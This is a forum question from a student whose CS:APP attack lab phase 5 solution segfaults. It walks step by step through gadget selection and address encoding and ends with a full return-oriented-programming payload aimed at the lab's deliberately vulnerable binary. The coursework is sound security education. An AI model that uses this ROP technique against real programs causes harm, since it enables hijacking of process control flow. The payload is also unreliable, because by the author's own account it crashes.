title: Segmentation fault in attack lab phase5
body: <p>This is the phase 5 of attack lab in my software security class. Due to address randomization and nonexecutable stack, we are supposed to use Return Oriented Programming (ROP) to pass the string pointer of a given cookie value as argument to a function called touch3. I cannot describe the question better since that's all I can understand so far, the full instruction is on this pdf page 10:
  <a href="http://csapp.cs.cmu.edu/3e/attacklab.pdf" rel="nofollow noreferrer">Attack Lab</a></p>
  
  <p>The logic of the code (shown by other peoples's answer I can find) is:</p>
  
  <ol>
  <li><p>padding the buffer</p></li>
  <li><p>save the <code>%rsp</code>     into a register (<code>%rdi</code>     here)</p></li>
  <li><p>save the address offset into a register (<code>%rax</code>     here)</p></li>
  <li><p>save the sum of the above to value to a register</p></li>
  <li><p>call touch3</p></li>
  <li><p>cookie string</p></li>
  <li><p>terminate with <code>\0</code>    </p></li>
  </ol>
  
  <p>I am following what other people did, and my code is same as their, but I don't actually feel clear of the logic, so I want to ask several stupid questions:</p>
  
  <ol>
  <li><p>Why we need the sum of <code>%rsp</code>     and the offset address?</p></li>
  <li><p>Why the value is popped to <code>%rax</code>     first, then we pass the address of cookie string to <code>%rax</code>    ?</p></li>
  <li><p>Where I did wrong for this homework?</p></li>
  </ol>
  
  <p>I can't think of a way to fix this except double checking all the encodings and addresses are used correctly.</p>
  
  <h1>step1:</h1>
  
  <p><code>48 89 e0 c3 mov %rsp, %rax</code>    </p>
  
  <p>In my gadget farm, I found:</p>
  
  <p><code>401ae6:  b8 27 48 89 e0          mov    $0xe0894827,%eax</code><br>
    <code>401aeb:  c3</code>    </p>
  
  <p>401ae6+2, reverse =></p>
  
  <p>e8 1a 40 00 00 00 00 00</p>
  
  <h1>step2:</h1>
  
  <p><code>48 89 c7 c3 mov %rax, %rdi</code>    </p>
  
  <p>In my gadget farm, I found: </p>
  
  <p><code>401a2d:  8d 87 48 89 c7 90       lea    -0x6f3876b8(%rdi),%eax</code><br>
    <code>401a33:  c3</code>     </p>
  
  <p>90 = nop, doesn't matter</p>
  
  <p>401a2d+2, reverse =></p>
  
  <p>2f 1a 40 00 00 00 00 00</p>
  
  <h1>step3:</h1>
  
  <p>58 c3 pop %rax</p>
  
  <p>In my gadget farm, I found:</p>
  
  <p><code>401a34:  c7 07 75 ac 31 58       movl   $0x5831ac75,(%rdi)</code><br>
    <code>401a3a:  c3</code>      </p>
  
  <p>401a34+5, reverse =></p>
  
  <p>39 1a 40 00 00 00 00 00   </p>
  
  <h1>step4:</h1>
  
  <p><code>0x48</code></p>
  
  <p>This constant is supposed to be the distance between the first line to cookie string line - 1, which is also referred as address offset. There are 10 lines before cookie string. So the value is (10-1)*8 = 72 = 0x48</p>
  
  <h1>step5:</h1>
  
  <p><code>89 c2 movl %eax, %edx</code>    </p>
  
  <p>In my gadget farm, I found:</p>
  
  <p><code>401aa2:  c7 07 89 c2 90 c3       movl   $0xc390c289,(%rdi)</code><br>
    <code>401aa8:  c3</code>    </p>
  
  <p>401aa2+2, reverse =></p>
  
  <p>a4 1a 40 00 00 00 00 00  </p>
  
  <h1>step6:</h1>
  
  <p><code>89 d1 movl %edx, %ecx</code>    </p>
  
  <p>In my gadget farm, I found:</p>
  
  <p><code>401afa:  8d 87 89 d1 08 c9       lea    -0x36f72e77(%rdi),%eax</code><br>
    <code>401b00:  c3</code>     </p>
  
  <p>08 c9 = orb R, R = nop, doesn't matter</p>
  
  <p>401afa+2 reverse =></p>
  
  <p>fc 1a 40 00 00 00 00 00 </p>
  
  <h1>step7:</h1>
  
  <p><code>89 ce movl %ecx, %esi</code>    </p>
  
  <p>In my gadget farm, I found:</p>
  
  <p><code>401ab0:  b8 72 74 89 ce          mov    $0xce897472,%eax</code><br>
    <code>401ab5:  c3</code>     </p>
  
  <p>401ab0+3, reverse => </p>
  
  <p>b3 1a 40 00 00 00 00 00 </p>
  
  <h1>step8:</h1>
  
  <p><code>lea (%rdi, %rsi, 1), %rax</code> </p>
  
  <p>In my gadget farm, I found:</p>
  
  <p><code>401a68:  48 8d 04 37             lea    (%rdi,%rsi,1),%rax</code><br>
    <code>401a6c:  c3</code><br>
  401a68, reverse => </p>
  
  <p>68 1a 40 00 00 00 00 00</p>
  
  <h1>step9:</h1>
  
  <p><code>48 89 c7 c3 mov  %rax, %rdi</code>    </p>
  
  <p>In my gadget farm, I found:</p>
  
  <p><code>401a48:  b8 34 48 89 c7          mov    $0xc7894834,%eax</code><br>
    <code>401a4d:  c3</code>     </p>
  
  <p>401a48+2 reverse =></p>
  
  <p>4a 1a 40 00 00 00 00 00 </p>
  
  <h1>step10:</h1>
  
  <p>touch3 address
  (confirmed correct from phase 3)
  8a 19 40 00 00 00 00 00</p>
  
  <h1>step11:</h1>
  
  <p>string representtion of cookie
  (confirmed correct from phase 3)</p>
  
  <p>33 65 35 32 64 66 66 35 00</p>
  
  <pre><code>
      00 00 00 00 00 00 00 00
      00 00 00 00 00 00 00 00
      00 00 00 00 00 00 00 00 /* buffer */
      e8 1a 40 00 00 00 00 00 /* step1: mov  %rsp, %rax */
      2f 1a 40 00 00 00 00 00 /* step2: mov %rax, %rdi */
      39 1a 40 00 00 00 00 00 /* step3: pop %rax */
      48 00 00 00 00 00 00 00 /* step4: constant 0x48 */
      a4 1a 40 00 00 00 00 00 /* step5: movl %eax, %edx */
      fc 1a 40 00 00 00 00 00 /* step6: movl %edx, %ecx */
      b3 1a 40 00 00 00 00 00 /* step7: movl %ecx, %esi */
      68 1a 40 00 00 00 00 00 /* step8: lea (%rdi, %rsi, 1), %rax */
      4a 1a 40 00 00 00 00 00 /* step9: mov %rax, %rdi */ 
      8a 19 40 00 00 00 00 00 /* step10: touch3 address */
      33 65 35 32 64 66 66 35 /* step11: string representtion of cookie */
      00 00 00 00 00 00 00 00     
  </code></pre>